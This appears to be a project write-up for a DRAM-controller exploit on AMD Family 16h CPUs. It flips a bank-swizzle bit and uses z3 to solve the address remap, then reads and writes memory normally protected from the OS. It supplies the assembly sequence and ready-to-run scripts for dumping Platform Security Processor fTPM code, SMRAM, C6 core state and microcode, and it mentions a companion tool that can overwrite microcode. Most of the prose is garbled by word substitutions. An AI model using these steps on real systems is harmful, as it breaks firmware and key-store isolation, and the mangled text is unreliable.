Spaghettifying DRAM

Aug 13, 2026 09:17 PM - 1 hour ago 1

Unlocking everything connected the CPU pinch DRAM scrambling — PSP, C6, microcode, SMM, and thing other the specs near out.

&x == &x.

Usually.

Unspaghettifying DRAM

Poke the DRAM controller and an reside tin beryllium made to onshore wherever you want successful memory. skitter-creek-bath-salts reaches into the deepest level of the representation level and rewires the beingness DRAM reside translations, to scramble level representation and merchandise its astir guarded secrets — the specialized carveouts invisible moreover to the kernel. When the translations break, the walls built connected them collapse, and we unlock everything.


  • Unlock your Platform Security Processor
  • Unlock System Management Mode
  • Unlock C6 DRAM
  • Unlock your CPU microcode

Developed and tested connected AMD Family 16h CPUs, the past procreation whose datasheets archive the DRAM controller's translator registers — and show that they can't beryllium locked. 17h and beyond simply time off this accusation out. The odyssey of *p is akin crossed generations and architectures, and the underlying transforms widen moreover to ARM, RISC-V, and beyond; skitter-creek-bath-salts shows america only really to begin.


It's a agelong measurement down.

Memory is built connected layers of abstraction truthful heavy they go almost absurd. When your codification dereferences *p, it appears to entree the DRAM astatine p. It does not — p is simply a virtual address, and earlier a azygous spot of DRAM is touched, it must survive the gauntlet below:

── CPU halfway / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual reside from load/store │ └> canonical-form cheque ──────────────────────┐ ← bits [63:48] sign-extend from spot 47 ┌─ conception guidelines adhd <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) deed → beingness reside k │ miss → prosecute hardware page walker │ ┌─ page locomotion (from CR3) <─────────────────────┘ ← walked only connected TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leafage possible │ PD [VA 29:21] ← 2 MiB leafage possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated astatine each level of the walk privilege (U/S) │ ← CPL vs PTE.U/S constitute (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D spot update <───────────────────────────┘ ← locked RMW connected PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA supra re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per azygous impermanent locomotion │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to adjacent vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page locomotion ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── **physical reside k** <─────────────────┘ │ │ ── CPU halfway / MMU — memory-type solution ──────────────────────── │ └> MTRR scope lucifer ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT introduction prime <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective representation type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to adjacent cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory consequence │ ← information | involution | abort │ ── strategy information cloth / interconnect ────────────────────────────── │ ┌─ if MMIO scope aliases sub-4 GiB MMIO spread <─────┘ ← uncore/data cloth posted/non-posted txn │ → instrumentality BAR; done │ └> other DRAM-bound: information cloth / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM spread remap <──────────────────────────┘ ← high-memory remap supra TOM E ┃ │ ┃ └> memory-region removal remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ transmission interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ slope interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> slope swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel prime ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← slope group · slope · statement (RAS) · file (CAS)

This task useful astatine the deepest levels of the *p pipeline, the MCT/DCT layer — wherever a beingness reside from the information fabric/interconnect enters the memory controller and is rewritten 1 last clip into the earthy DRAM coordinates that are issued to the DIMM.


Physical addresses are really much of a suggestion.

xor dword [0xf80c2094], 0x00400000

That's the exploit. All of it.

One bit-flip successful the DRAM controller rewires the full instauration of the *p pipeline, and the information that was astatine &x is now location other mid-flight. Suddenly &x != &x. Every elaborate system the CPU and firmware and uncore and chipset person meticulously utilized to wall disconnected each the astir protected regions of representation each beryllium above the representation controller, and are entirely oblivious to thing that happens beneath it. All the existing representation fences guard beingness addresses, not DRAM coordinates, and if you rearrange the DRAM coordinates, each the CPU and information cloth barriers supra them are entirely unaware.

But rewiring DRAM is easy. The spot supra is the bank-swizzle-mode successful the DCT, and it's conscionable 1 of dozens that power the reside remaps astatine the last furniture — all you person to do is flick them to make everything built connected apical topple. The harder portion past is keeping the level up arsenic the entirety of strategy representation is scrambled underneath it.

The trick: beryllium fast, and don't touch DRAM. Disable the APs, premier the TLBs, lukewarm the cache, disable interrupts, flush the target, serialize memory accesses, and dream the CPU prefetched the upcoming instructions. Then rewire the MCT/DCT to spaghettify DRAM, drawback immoderate information from the protected region, revert the mappings, serialize again, alteration interrupts, resume the APs, and everything's backmost to normal, pinch the remainder of the level wholly unscathed.

mov eax, [0xf80c2094] ; premier mmio TLB mov eax, [0x6f800000] ; premier target TLB pushf ; sphere flags cli ; interrupts off clflush [0x6f800000] ; evict the target, unit the dram read mfence ; obstruction - nary coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target successful spaghettified view xor dword [0xf80c2094], 1<<22 ; reconstruct dct swizzle → unscramble mfence ; obstruction - nary spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts backmost on

With immoderate observant setup of paging, cache states, threading, and the TLBs, the address scrambling tin beryllium made to activity from C, to exemplify the *p pipeline collapsing, and the platform's corrupted position erstwhile abruptly &x != &x:

&x manipulation

So we tin rewire the representation and reconstruct it without a trace. All that's near is knowing what we rewired it into.


Every protected representation region connected the platform, reachable pinch a calculator.

With the supra approach, we tin reprogram the MCT/DCT toggle shape connected a running system — rearranging the lowest shape of the *p pipeline to scramble memory out from underneath each protection built supra it.

But there's a challenge: while we tin reprogram the translator pinch a simple xor dword [0xf80c2094], 0x00400000, we person nary thought what caller transforms the MCT/DCT will usage (the datasheets are underspecified present — the xor maps are off, the MMIO subtractive shape is unordered, and specifications alteration crossed models). Without this, representation scrambles, but we person nary measurement to reconstruct it.

Fortunately, the DRAM controller's reside toggle shape is simply a GF(2) linear map, which intends we tin reconstruct the scrambled representation pinch basal linear algebra.

First, see the normal case: the guardant toggle shape of the default MCT/DCT configuration gets applied to immoderate beingness address, which lands connected a secret in DRAM:

┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_firmware target secret

This is the coherent position of memory: the lowest shape of the *p pipeline operates precisely arsenic it should.

Now rewire the MCT/DCT shape of *p pinch xor dword [0xf80c2094], 0x00400000, and the level enters a scrambled/spaghettified position of representation wherever a different toggle shape allows an alias to scope the aforesaid DRAM secret:

┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker othername secret

This othername lets america scope the aforesaid concealed without hitting the existing platform locks and defenses built for the coherent view. To find the alias, constitute the inverse of the attacking/spaghettified hash pinch the guardant of the firmware/coherent hash, to get the translator that will scope immoderate concealed from the malicious MCT/DCT configuration:

┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

The only situation is that the matrices are unknown, which intends we person no idea really representation is really scrambled, and nary toggle shape to usage to scope the secret successful the first place:

┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

Fortunately, astatine this constituent it's conscionable linear algebra, and you could lick the transforms by manus if you want. Or: a calculator.

We usage z3. First, the SMT solver needs constraints to activity with.

Start successful the coherent view, modify the MCT/DCT to move to the spaghettified view, drop immoderate sentinel worth for illustration 0xdeadc0de into a random reside successful memory, flip backmost to the coherent view, and expanse representation for wherever the sentinel resurfaces. This gives a (target, alias) brace — a actual datapoint showing two physical addresses that representation to the aforesaid compartment successful DRAM. Repeat the process, gather a fistful of data, walk it to z3, and it solves the translator matrix needed to person betwixt the 2 views — immoderate coherent-view beingness reside on one side, its spaghettified-view othername connected the other:

┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ ∘ M_firmware target alias

Feeding othername pairs to z3 1 astatine a clip lets america watch the SMT solver decipher the representation scrambling successful existent time, arsenic shown successful the opening image.

The solved toggle shape is simply a rosetta stone, the cardinal to taking immoderate target reside in the normal coherent position of representation and reaching the aforesaid information successful the scrambled spaghettified view. To unlock protected DRAM, prime an reside we can't scope — PSP backstage memory, SMRAM, the C6 idle-state — tally it done the transform solved by z3, and get an othername that will scope the target successful the spaghettified view, without hitting the elaborate fences, locks, and information checks the platform constructed for the coherent position of memory. Rewire the DCT pinch xor dword [0xf80c2094], 0x00400000, publication aliases constitute the alias, its travel through the *p pipeline circumvents each obstruction on the way, move backmost to the coherent position pinch a 2nd xor dword [0xf80c2094], 0x00400000, and you're done — unrestricted access, to thing astatine each the level has secreted distant in DRAM.

unlocking DRAM

In the end, everything usually truthful cautiously walled disconnected — PSP backstage memory, SMRAM, the C6 idle-state — locked-down and inaccessible from the OS and ring-0 and sometimes moreover from the CPU itself, is still sitting successful the aforesaid physical capacitors successful DRAM. But the locks and fences and walls were built astir the coherent-view of memory, and do thing against the spaghettified aliases that reach that aforesaid data.

Flip 1 spot successful the last level of the *p pipeline, and we've unlocked everything.


Quick start: unlock your Platform Security Processor

Tamper pinch your PSP, spot what happens.

The fTPM runs connected the PSP's ain ARM core, successful a DRAM carveout correct past the visible top-of-memory. Reach it by aliasing an OS-visible beingness address onto it, propulsion the bytes out, disassemble.

# Bail retired early connected platforms this was ne'er tested on. ./userspace/platform_check || exit 1 # Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 / # 0x800000 connected the trial box). Swap 2x4gb for whichever data/maps/ prefix # matches your DIMMs; 1 --map per saved map. eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin # The PSP is an ARM core, truthful disassemble arsenic Thumb-2. Carve crAmd_ModExp # (0x64 bytes astatine PSP_BASE+0x19d4) consecutive retired of the captured image. objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \ --start-address=$((PSP_BASE + 0x19d4)) \ --stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \ -D psp.bin
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact ; from the PSP's backstage DRAM. 7f8019d4: b5f0 push {r4, r5, r6, r7, lr} 7f8019d6: b0e5 sub sp, #404 7f8019de: 2280 movs r2, #128 ; 1024-bit operand 7f8019e4: f7fe ffef bl 0x7f8009c6 ; import guidelines (aA) 7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, position = 0x%x" 7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB) 7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB grounded position = 0x%x" 7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself 7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp grounded ret=0x%08x, exit" 7f801a22: f000 fef5 bl 0x7f802810 ; log error 7f801a2e: f001 e92a blx 0x7f802c84 ; export result 7f801a36: bdf0 popular {r4, r5, r6, r7, pc}

That's the PSP's RSA motor — the modexp down each fTPM signature, and behind the Miller-Rabin tests that mint its keys — lifted retired of representation the PSP is supposed to ain alone, fenced disconnected astatine the representation controller, opaque moreover to ring-0. Modify arsenic you spot fit.


Quick start: unlock System Management Mode

Read what SMM hides.

The SMI handler introduction vector lives astatine SMBASE + 0x8000. SMBASE is in MSR 0xc0010111. Read it, propulsion the bytes done the othername map, and pipe them consecutive into a disassembler:

# Bail retired early connected platforms this was ne'er tested on. ./userspace/platform_check || exit 1 sudo modprobe msr # SMBASE is per-core; halfway 0's lives successful MSR 0xc0010111. SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 )) # Dump the introduction vector done the othername representation and disassemble connected the fly. # SMM starts successful existent mode, truthful ndisasm gets -b 16. One --map per saved map; # printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo. sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
; SMI introduction stub — the first point a halfway executes erstwhile entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked astatine SMBASE+0x8148, conscionable past this stub o32 lgdt [cs:si] ; load it (o32 -> afloat 32-bit base, not existent mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the halfway into protected mode jmp short 0x14 ; adjacent jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> level information segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; instal the SMM stack o32 push byte +0x10 ; far-return frame: CS = codification selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper

Those instructions tally successful ringing -2, the astir privileged discourse connected the CPU, out of representation the chipset is expected to make unreadable. SMRAM "locked" turns retired to beryllium a polite proposal erstwhile we tin talk to the DRAM controller directly.

Swap 2x4gb for whichever prefix successful data/maps/ matches your installed DIMMs (sudo dmidecode -t memory). If your topology isn't there, run analysis/gather_aliases.py past analysis/unspaghettify.py to bake your own.


Quick start: unlock C6 DRAM

I person nary thought what's successful present and person ne'er seen it discussed, likely internal CPU registers. Have fun.

When the cores power-gate into C6, each one's afloat x86 architectural discourse is stashed present for restore.

./userspace/platform_check || exit 1 # Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 connected the # trial box). Each idle core's authorities lives successful a 16 KiB prevention area; 4 cores # here, astatine CC6_BASE + {0, 0x4000, 0x8000, 0xc000}. eval "$(sudo ./userspace/dram_carveouts --region cc6)" sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin # For example, connected this level IA32_APIC_BASE sits astatine +0x9b8 successful each area. # Read it from each 4 cores consecutive retired of the stash: for c in 0 1 2 3; do printf 'core %d ' $c hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | caput -1 done
core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP spot set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 exertion processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 exertion processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 exertion processor

One halfway pinch the BSP spot set, 3 without — the footwear processor and its three APs, caught mid-idle pinch their registry authorities lying successful the open.

The much you flick around, the much CPU registers you'll commencement to find:

offset x86 state core-0 value
+0x8b0 GS / per-cpu base 0xffff9be4e3600000
+0x9a0 CR3 (page-table root) 0x0fd46000
+0x9b8 IA32_APIC_BASE 0xfee00900
+0xa38 variable MTRR (base/mask) 0x6f000000 / …0800
+0xb10 saved RIP 0xffffffff8f3a0029

Of course, those registers are each accessible from ring-0 anyway. The fun portion is successful each the other CPU authorities sitting location — poking the internal CPU registers ring-0 can't reach.


Quick start: unlock your CPU microcode

What could spell wrong?

When a halfway drops into C6 its microcode spot RAM — volatile SRAM — goes acheronian with the remainder of the core. So the C6 stash keeps the loaded spot successful DRAM and re-seeds it connected wake. That transcript sits astatine +0x1800 successful each prevention area, and the othername reaches it for illustration immoderate different byte.

Grab the microcode transcript the CPU stashed successful fenced DRAM:

./userspace/platform_check || exit 1 eval "$(sudo ./userspace/dram_carveouts --region cc6)" # page 1 of halfway 0's prevention area is the unrecorded microcode spot body sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin

Match it against known patches:

# did we find it? python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for one successful range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam successful (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c successful uc for c successful chunks):2}/{len(chunks)} chunks match") EOF

This is simply a bully sign:

fam15h: 0/94 chunks match fam16h: 68/94 chunks lucifer <- the microcode the halfway is running fam17h: 0/94 chunks match fam19h: 0/94 chunks match

Extract the ucode triads:

od -Ax -tx1 -w20 ucode_ram.bin
000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0

And location it is, chopped uops up top, NOP padding repeating below.

From there, dram_dump has a related tool, dram_poke. The aforesaid othername that read the spot tin constitute it — and this transcript is the 1 the halfway reloads coming out of idle.

What you do adjacent is up to your imagination.


make # builds kernel/spaghettify.ko and each userspace tools make clean

Run arsenic root. Full specifications successful USAGE.md.

Simple publication from a protected representation address.

Push the --do-swizzle / --do-bankswap flips into the DRAM controller to enter the spaghettified representation view, publication 1 dword from beingness address <pa>, reconstruct the DCT bits, and return the value.

dram_read --pa <pa> --do-swizzle <0|1> --do-bankswap <0|1>

Write into a protected representation range.

